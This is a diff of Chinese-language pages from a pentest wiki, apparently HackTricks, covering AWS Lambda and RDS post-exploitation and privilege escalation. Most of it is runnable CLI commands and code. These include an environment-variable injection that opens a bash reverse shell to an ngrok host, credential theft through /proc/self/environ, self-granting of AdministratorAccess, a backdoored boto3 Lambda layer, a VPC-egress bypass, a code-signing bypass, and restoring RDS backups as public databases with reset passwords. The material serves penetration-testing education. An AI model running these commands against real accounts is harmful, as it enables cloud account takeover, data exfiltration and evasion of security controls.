滥用 `lambda:UpdateFunctionConfiguration` 的高级日志控制,将函数的日志重定向到攻击者选择的 CloudWatch Logs log group。此方法无需更改代码或执行角色大多数 Lambda 角色已通过 `AWSLambdaBasicExecutionRole` 包含 `logs:CreateLogGroup/CreateLogStream/PutLogEvents`)。如果函数打印 secrets/request bodies 或在崩溃时输出堆栈跟踪,你可以从新的日志组中收集它们。
## Required permissions
- lambda:UpdateFunctionConfiguration
- lambda:GetFunctionConfiguration
- lambda:InvokeFunction (或依赖现有触发器)
- logs:CreateLogGroup (如果函数角色已有该权限通常不需要)
- logs:FilterLogEvents (用于读取事件)
## Steps
1) 创建一个 sink log group
```
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
```
2) 重定向目标函数日志
```
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
```
等待 `LastUpdateStatus` 变为 `Successful`
```
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
```
3) 调用并从 sink 读取
```
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
```
## 影响
- 悄悄将所有应用/系统 logs 重定向到你控制的 log group绕过日志仅会落在 `/aws/lambda/<fn>` 的预期。
- Exfiltrate 函数打印或在错误中暴露的敏感数据。
## 清理
```
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
```
## 注意
- 日志控制是 Lambda 的 `LoggingConfig` 的一部分 (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel)。
- 默认情况下Lambda 会将日志发送到 `/aws/lambda/<function>`但你可以指向任何日志组名称如果允许Lambda或执行角色会创建它。
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,12 @@
# AWS Lambda Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
Abuse `lambda:PutRuntimeManagementConfig` 以将函数锁定到特定的 runtime 版本Manual或冻结更新FunctionUpdate。这可以保持与恶意 layers/wrappers 的兼容性,并能使函数停留在过时、存在漏洞的 runtime 上,从而便于 exploitation 和长期 persistence。
要求: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
示例 (us-east-1):
- 调用: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- 冻结更新: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
- 验证: `aws lambda get-runtime-management-config --function-name --region us-east-1`
可选地,通过从 INIT_START 日志中提取 Runtime Version ARN 并使用 `--update-runtime-on Manual --runtime-version-arn <arn>` 将运行时固定到特定版本。

View File

@@ -0,0 +1,63 @@
# AWS Lambda VPC Egress Bypass by Detaching VpcConfig
通过将 Lambda 函数的配置更新为空的 VpcConfigSubnetIds=[], SecurityGroupIds=[]),将受限的函数强制移出 VPC。函数随后将在 Lambda 管理的网络平面中运行,重新获得出站互联网访问,从而绕过由未配置 NAT 的私有 VPC 子网强制实施的出站控制。
## Abusing it
- 前置条件:对目标函数具有 lambda:UpdateFunctionConfiguration 权限(以及用于验证的 lambda:InvokeFunction如果要更改代码/handler 则还需要相应的更新权限。
- 假设:函数当前配置了指向无 NAT 的私有子网的 VpcConfig因此出站互联网被阻止
- Region: us-east-1
### Steps
0) 准备一个最小的 handler 来证明出站 HTTP 可用
cat > net.py <<'PY'
import urllib.request, json
def lambda_handler(event, context):
try:
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
return {"egress": True, "ip": ip}
except Exception as e:
return {"egress": False, "err": str(e)}
PY
zip net.zip net.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
1) 记录当前的 VPC 配置(以便稍后需要时恢复)
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
cat /tmp/orig-vpc.json
2) 通过设置空列表来解除 VPC 绑定
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
3) 调用并验证出站访问
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
cat /tmp/net-out.json
(Optional) 恢复原始 VPC 配置
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
fi
### Impact
- 该函数将重新获得不受限制的出站互联网访问,从而使原本故意在无 NAT 的私有子网中隔离的工作负载能够进行数据外泄或作为 C2 节点。
### Example output (after detaching VpcConfig)
{"egress": true, "ip": "34.x.x.x"}
### Cleanup
- 如果你对代码/handler 做了任何临时更改,请恢复它们。
- 可选地按上文所示从 /tmp/orig-vpc.json 恢复原始的 VpcConfig。

View File

@@ -1,10 +1,10 @@
# AWS - RDS 后期利用
# AWS - RDS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## RDS
有关更多信息请查看:
更多信息请查看:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
如果攻击者拥有足够权限,他可以通过创建数据库的快照,使**数据库公开可访问**,然后从快照创建一个公开可访问的数据库
如果攻击者拥有足够权限,他可以先创建该 DB 的快照,然后从快照恢复出一个公开可访问的 DB从而使 **DB 公开可访问**
```bash
aws rds describe-db-instances # Get DB identifier
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
拥有这些权限的攻击者可以**创建数据库的快照**并使其**公开可用**。然后,他可以在自己的账户中从该快照创建一个数据库
拥有这些权限的攻击者可以**创建一个 DB 的快照**并使其**公开可用**。然后,他可以在自己的账户中直接从该快照创建一个 DB
如果攻击者**没有 `rds:CreateDBSnapshot`**,他仍然可以使**其他**创建的快照**公开**。
如果攻击者**没有 `rds:CreateDBSnapshot` 权限**,他仍然可以**其他**创建的快照设为**公开**。
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,30 +53,114 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
`rds:DownloadDBLogFilePortion` 权限的攻击者可以 **下载 RDS 实例日志文件的部分内容**。如果敏感数据或访问凭证被意外记录,攻击者可能利用这些信息提升他们的权限或执行未授权的操作。
`rds:DownloadDBLogFilePortion` 权限的攻击者可以 **下载 RDS 实例日志文件的部分内容**。如果敏感数据或访问凭证被意外记录,攻击者可能利用这些信息提升权限或执行未授权的操作。
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**潜在影响**:访问敏感信息或使用泄露的凭据进行未授权操作。
**潜在影响**: 使用 leaked credentials 访问敏感信息或执行未授权操作。
### `rds:DeleteDBInstance`
有这些权限的攻击者可以**对现有 RDS 实例进行 DoS 攻击**。
有这些权限的攻击者可以 **DoS 现有 RDS 实例**
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**潜在影响**删除现有 RDS 实例,并可能导致数据丢失。
**潜在影响**: 删除现有 RDS 实例,并可能导致数据丢失。
### `rds:StartExportTask`
> [!NOTE]
> TODO: 测试
> TODO测试
拥有此权限的攻击者可以**将 RDS 实例快照导出到 S3 存储桶**。如果攻击者控制目标 S3 存储桶,他们可能访问导出快照中的敏感数据。
拥有此权限的攻击者可以 **将 RDS 实例快照导出到 S3 存储桶**。如果攻击者控制目标 S3 存储桶,可能访问导出快照中的敏感数据。
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**潜在影响**访问导出快照中的敏感数据。
**潜在影响**: 访问导出快照中的敏感数据。
### 跨区域自动备份复制以进行隐蔽恢复 (`rds:StartDBInstanceAutomatedBackupsReplication`)
滥用跨区域自动备份复制,将 RDS 实例的自动备份悄悄复制到另一个 AWS 区域并在那里恢复。攻击者随后可以将恢复的 DB 设为公开可访问,并重置主密码,从而在防御方可能未监控的区域以带外方式访问数据。
所需权限(最少):
- `rds:StartDBInstanceAutomatedBackupsReplication` 在目标区域
- `rds:DescribeDBInstanceAutomatedBackups` 在目标区域
- `rds:RestoreDBInstanceToPointInTime` 在目标区域
- `rds:ModifyDBInstance` 在目标区域
- `rds:StopDBInstanceAutomatedBackupsReplication`(可选清理)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`(用于暴露恢复的 DB
影响Persistence and data exfiltration 通过将生产数据的副本恢复到另一个区域并用攻击者控制的凭据公开暴露。
<details>
<summary>端到端 CLI替换占位符</summary>
```bash
# 1) Recon (SOURCE region A)
aws rds describe-db-instances \
--region <SOURCE_REGION> \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,DBInstanceStatus,PreferredBackupWindow]' \
--output table
# 2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN> \
--source-region <SOURCE_REGION> \
--backup-retention-period 7
# 3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups \
--region <DEST_REGION> \
--query 'DBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]' \
--output table
# Proceed when Status is "replicating" or "active" and note the DBInstanceAutomatedBackupsArn
# 4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time \
--region <DEST_REGION> \
--source-db-instance-automated-backups-arn <AUTO_BACKUP_ARN> \
--target-db-instance-identifier <TARGET_DB_ID> \
--use-latest-restorable-time \
--db-instance-class db.t3.micro
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 5) Make public and reset credentials in DEST
# 5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group --region <DEST_REGION> \
--group-name open-rds-<RAND> --description open --vpc-id <DEST_VPC_ID> \
--query GroupId --output text)
aws ec2 authorize-security-group-ingress --region <DEST_REGION> \
--group-id "$OPEN_SG_ID" \
--ip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges='[{CidrIp=0.0.0.0/0}]'
# 5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids "$OPEN_SG_ID" \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 5c) Reset the master password
aws rds modify-db-instance --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--master-user-password '<NEW_STRONG_PASSWORD>' \
--apply-immediately
aws rds wait db-instance-available --region <DEST_REGION> --db-instance-identifier <TARGET_DB_ID>
# 6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances --region <DEST_REGION> \
--db-instance-identifier <TARGET_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text)
mysql -h "$ENDPOINT" -u <MASTER_USERNAME> -p'<NEW_STRONG_PASSWORD>' -e 'SHOW DATABASES;'
# 7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication \
--region <DEST_REGION> \
--source-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## lambda
有关lambda的更多信息
More info about lambda in:
{{#ref}}
../aws-services/aws-lambda-enum.md
@@ -12,11 +12,11 @@
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
拥有**`iam:PassRole`, `lambda:CreateFunction``lambda:InvokeFunction`**权限的用户可以提升他们的权限。\
他们可以**创建一个新的Lambda函数并为其分配一个现有的IAM角色**,从而予该函数与该角色关的权限。然后用户可以**向此Lambda函数编写上传代码(例如带有反向Shell**。\
一旦函数设置完成,用户可以**通过AWS API触发其执行**和预期的操作。这种方法有效地允许用户通过Lambda函数间接执行任务操作时使用与其关联的IAM角色授予的访问级别。\\
拥有 **`iam:PassRole``lambda:CreateFunction``lambda:InvokeFunction`** 权限的用户可以提升他们的权限。\
他们可以 **创建一个新的 Lambda function 并将其分配现有的 IAM role**,从而予该函数与该角色关的权限。然后用户可以 **为该 Lambda function 编写上传代码(例如包含 rev shell**。\
一旦函数设置完成,用户可以通过 AWS API 调用该 Lambda function 来 **触发其执行** 并执行预期的操作。该方法实际上允许用户以与该 IAM role 关联的权限级别,间接通过 Lambda function 执行任务。\\
攻击者可以利用这一点获取**反向Shell并窃取令牌**
攻击者可能滥用此方法以获得 **rev shell 并窃取 token**
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
您还可以**滥用 lambda 角色权限**来自 lambda 函数本身。\
如果 lambda 角色具有足够的权限,可以使用它授予管理员权限:
你也可以从 lambda function 本身**滥用 lambda role permissions**.\
如果 lambda role 拥有足够的权限,可以用它给自己授予管理员权限:
```python
import boto3
def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
也可以在不需要外部连接的情况下泄露lambda的角色凭证。对于用于内部任务的**网络隔离的Lambdas**非常有用。如果有未知的安全组过滤你的反向shell这段代码将允许你直接泄露凭证作为lambda的输出。
也可以在不需要外部连接的情况下 leak lambda 的角色凭证。对于用于内部任务的 **Network isolated Lambdas**,这会很有用。如果有未知的 security groups 正在过滤你的 reverse shells,这段代码将允许你直接 leak 凭证作为 lambda 的输出。
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**潜在影响:** 直接提升权限到指定的任意 lambda 服务角色。
**潜在影响:** 直接指定的任意 lambda 服务角色执行权限提升
> [!CAUTION]
> 注意,即使看起来很有趣,**`lambda:InvokeAsync`** **并不**允许单独**执行 `aws lambda invoke-async`**,你还需要 `lambda:InvokeFunction`
> 注意,尽管 **`lambda:InvokeAsync`** 看起来很有用,但它本身并不允许执行 **`aws lambda invoke-async`**,你还需要 `lambda:InvokeFunction`
### `iam:PassRole``lambda:CreateFunction``lambda:AddPermission`
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
之前的场景一样,如果你拥有权限 **`lambda:AddPermission`**,你可以**授予自己 `lambda:InvokeFunction`** 权限。
像在之前的场景一样,如果你拥有 **`lambda:AddPermission`** 权限,你可以**给自己授予 `lambda:InvokeFunction` 权限**
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**潜在影响:** 直接提升到指定的任意 lambda 服务角色。
**Potential Impact:** 直接指定的任意 lambda 服务角色造成 privesc
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
具有 **`iam:PassRole`, `lambda:CreateFunction` 和 `lambda:CreateEventSourceMapping`** 权限的用户(可能还包括 `dynamodb:PutItem` 和 `dynamodb:CreateTable`可以间接 **提升权限**即使没有 `lambda:InvokeFunction`。\
他们可以创建一个 **带有恶意代码的 Lambda 函数并将其分配给现有的 IAM 角色**。
具有 **`iam:PassRole``lambda:CreateFunction` 和 `lambda:CreateEventSourceMapping`** 权限的用户(可能还具有 `dynamodb:PutItem` 和 `dynamodb:CreateTable`)即使没有 `lambda:InvokeFunction`,也可以间接 **escalate privileges**。\
他们可以创建一个带有恶意代码的 **Lambda function 并将其分配给现有的 IAM role**。
用户不直接调用 Lambda而是设置或用现有的 DynamoDB 表,通过事件源映射将其链接到 Lambda。此设置确保在表中新增项时Lambda 函数会 **自动触发**,无论是通过用户的操作还是其他进程,从而间接调用 Lambda 函数并以传递的 IAM 角色的权限执行代码。
用户不直接调用 Lambda而是设置或使用现有的 DynamoDB 表,通过 event source mapping 将其与 Lambda 关联。该配置确保 Lambda function **在表中插入新项时自动触发**,无论是用户的操作还是其他进程触发,从而间接调用 Lambda function 并以传递的 IAM role 的权限执行代码。
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
如果DynamoDBAWS环境中已经激活,用户只需**建立事件源映射**以供Lambda函数使用。然而,如果DynamoDB未在使用中,用户必须**创建一个新的表**并启用流
如果 DynamoDB 已经在 AWS 环境中启用,用户只需要为 Lambda 函数**建立 event source mapping**。但是,如果未使用 DynamoDB用户必须**创建一个启用 DynamoDB Streams 的新表**
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
现在可以通过**创建事件源映射****Lambda函数连接到DynamoDB**
现在可以通过**creating an event source mapping****the Lambda function**连接到**the DynamoDB table**
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
通过将 Lambda 函数链接到 DynamoDB ,攻击者可以 **通过激活 DynamoDB 间接触发 Lambda**。这可以通过 **向 DynamoDB 表中插入一个项目** 来实现
Lambda 函数 DynamoDB stream 关联时,攻击者可以通过**激活 DynamoDB stream 来间接触发 Lambda**。这可以通过**向 DynamoDB table 插入一条记录**来完成
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**潜在影响:** 直接提升到指定的 lambda 服务角色。
**Potential Impact:** 直接指定的 lambda 服务角色 进行 privesc
### `lambda:AddPermission`
有此权限的攻击者可以 **授予自己(或他人)任何权限** (这会生成基于资源的策略授予对资源的访问):
有此权限的攻击者可以 **自己(或他人)授予任何权限**(这会生成基于资源的策略授予对资源的访问):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**潜在影响:** 直接提升权限到通过授予修改代码运行代码的权限的 lambda 服务角色
**Potential Impact:** 通过授予修改代码运行的权限,直接对所使用的 lambda service role 执行 privesc
### `lambda:AddLayerVersionPermission`
拥有此权限的攻击者可以 **授予自己(或他人)权限 `lambda:GetLayerVersion`**。他可以访问该并搜索漏洞或敏感信息
拥有此权限的攻击者可以 **授予自己(或他人)权限 `lambda:GetLayerVersion`**。他可以访问该 layer 并搜索漏洞或敏感信息
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**潜在影响:** 可能访问敏感信息。
**Potential Impact:** 潜在访问敏感信息。
### `lambda:UpdateFunctionCode`
有 **`lambda:UpdateFunctionCode`** 权限的用户有可能 **修改与 IAM 角色关联的现有 Lambda 函数的代码。**\
攻击者可以 **修改 Lambda 的代码以提取 IAM 凭证**。
有 **`lambda:UpdateFunctionCode`** 权限的用户有可能 **修改与 IAM 角色关联的现有 Lambda 函数的代码。**\
攻击者可以**修改 lambda 的代码以 exfiltrate the IAM credentials**。
尽管攻击者可能没有直接调用该函数的能力,如果 Lambda 函数是预先存在并且正在运行的,那么它很可能会通过现有的工作流或事件被触发,从而间接促修改后代码的执行。
尽管攻击者可能没有直接调用该 Lambda function 的能力,如果 Lambda function 已经存在且处于运行状态,很可能会通过现有的工作流或事件被触发,从而间接促修改后代码的执行。
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**潜在影响:** 直接提升到使用的 lambda 服务角色。
**潜在影响:** 对所使用的 lambda 服务角色的直接 privesc
### `lambda:UpdateFunctionConfiguration`
#### 通过环境变量进行 RCE
#### 通过环境变量实现 RCE
通过这些权限,可以添加环境变量,使 Lambda 执行任意代码。例如Python 中可以用环境变量 `PYTHONWARNING` 和 `BROWSER` 使 Python 进程执行任意命令:
拥有此权限,可以添加环境变量,使 Lambda 执行任意代码。例如在 python 中可以用环境变量 `PYTHONWARNING` 和 `BROWSER` 使 python 进程执行任意命令:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
对于其他脚本语言,有其他环境变量可以使用。有关更多信息请查看以下链接中脚本语言的子部分
对于其他脚本语言,有其他可以使用的 env variables。更多信息请查看脚本语言的小节
{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
#### 通过 Lambda Layers 进行 RCE
#### RCE 通过 Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 允许在的 lamdba 函数中包含 **代码**,但 **单独存储**,这样函数代码可以保持小巧,并且 **多个函数可以共享代码**。
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 允许在的 lamdba 函数中包含 **code**,但**单独存储**,这样函数代码可以保持精简,并且**多个函数可以共享 code**。
在 lambda 内部,您可以使用以下函数检查加载 python 代码的路径:
在 lambda 内,你可以通过如下函数检查 python code 的加载路径:
```python
import json
import sys
@@ -185,7 +185,7 @@ import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
这些位置:
这些位置:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -198,61 +198,120 @@ print(json.dumps(sys.path, indent=2))
9. /opt/python/lib/python3.7/site-packages
10. /opt/python
例如,库 boto3 从 `/var/runtime/boto3` 加载(第 4 个位置)。
例如,库 boto3 从 `/var/runtime/boto3` 加载(第4个位置)。
#### 利用
可以滥用权限 `lambda:UpdateFunctionConfiguration` 来 **添加一个新** 到一个 lambda 函数。为了执行任意代码,这个需要包含一些 **lambda 将要导入的库。** 如果你能读取 lambda 的代码,你可以很容易找到这一点,还要注意lambda **可能已经在使用一个**,你可以 **下载** 这个层并 **在其中添加你的代码**。
可以滥用权限 `lambda:UpdateFunctionConfiguration` 来**添加一个新的 layer**到一个 lambda 函数。为了执行任意代码,这个 layer 需要包含一些 **lambda 将要导入的库。** 如果你能读取 lambda 的代码,就能很容易找到这一点。另外请注意,lambda 可能**已经在使用一个 layer**,你也可能**下载**该 layer 并**在其中添加你的代码**。
例如,假设 lambda 正在使用库 boto3这将创建一个包含库最新版本的本地
例如,假设 lambda 正在使用库 boto3这将创建一个包含库最新版本的本地 layer
```bash
pip3 install -t ./lambda_layer boto3
```
可以打开 `./lambda_layer/boto3/__init__.py` 并 **在全局代码中添加后门**(例如一个用于提取凭据或获取反向 shell 的函数)。
可以打开 `./lambda_layer/boto3/__init__.py` 并 **add the backdoor in the global code**(例如一个函数用于 exfiltrate credentials 或 get a reverse shell
然后,将 `./lambda_layer` 目录压缩并 **在您自己的账户中上传新的 lambda 层**(或者在受害者的账户中,但可能没有权限这样做)。\
注意,需要创建一个 python 文件夹并将库放在其中以覆盖 /opt/python/boto3。此外需要与 lambda 使用的 **python 版本兼容**,如果将其上传到的账,它需要位于 **同一区域:**
然后,将 `./lambda_layer` 目录 zip 打包并 **upload the new lambda layer** 到你自己的账号(或受害者的账,但可能没有权限)。\
注意,需要创建一个 python 文件夹并将库放在其中以覆盖 /opt/python/boto3。此外该 layer 需要与 lambda 使用的 **python version** 兼容,如果将其上传到的账,它需要位于 **same region**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
现在,使上传的 lambda **对任何账户可访问**
现在,使上传的 lambda layer **对任何账户可访问**
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
将 lambda 附加到受害者 lambda 函数
然后将 lambda layer 附加到受害者 lambda function
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
下一步要么是**自己调用函数**如果可以的话要么等待它被正常方式**调用**——这是更安全的方法
下一步要么是我们自己 **invoke the function**如果可以的话要么等待直到 **它被触发**(通过正常途径)——后者更安全
**利用漏洞的更隐蔽方式**可以在以下内容中找到:
A **更隐蔽的利用漏洞的方法** 可以在以下位置找到:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**潜在影响:** 直接提升到使用的 lambda 服务角色
**潜在影响:** 直接对所使用的 lambda service role 的 privesc
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
也许凭借这些权限,你能够创建一个函数并通过调用 URL 执行它……但我找不到测试的方法,所以如果你找到,请告诉我!
也许拥有这些权限你可以创建一个 function 并通过调用 URL 执行它……但我没找到验证方法,所以如果你试出来记得告诉我!
### Lambda MitM
些 lambda 会**接收用户在参数中发送的敏感信息。** 如果在其中一个获得 RCE你可以取其他用户发送给的信息,查看
些 lambda 会**在参数中接收用户的敏感信息。** 如果在其中一个获得 RCE你可以取其他用户发送给该函数的信息,详情见
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
## 参考
## 参考资料
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../banners/hacktricks-training.md}}
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
如果一个 Lambda function 强制启用了代码签名code signing能够删除 Code Signing Config (CSC) 或将其降级为 Warn 的攻击者可以向该函数部署未签名的代码。这在不修改函数 IAM role 或触发器的情况下绕过了完整性保护。
Permissions (one of):
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
Notes:
- 对于 Path B如果 CSC 策略设置为 `WARN`(允许未签名的 artifact则不需要 AWS Signer profile。
步骤 (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
准备一个小的 payload
```bash
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
```
路径 A) 移除 CSC 然后更新 code:
```bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
路径 B) 降级为 Warn 并更新代码 (如果不允许删除):
```bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
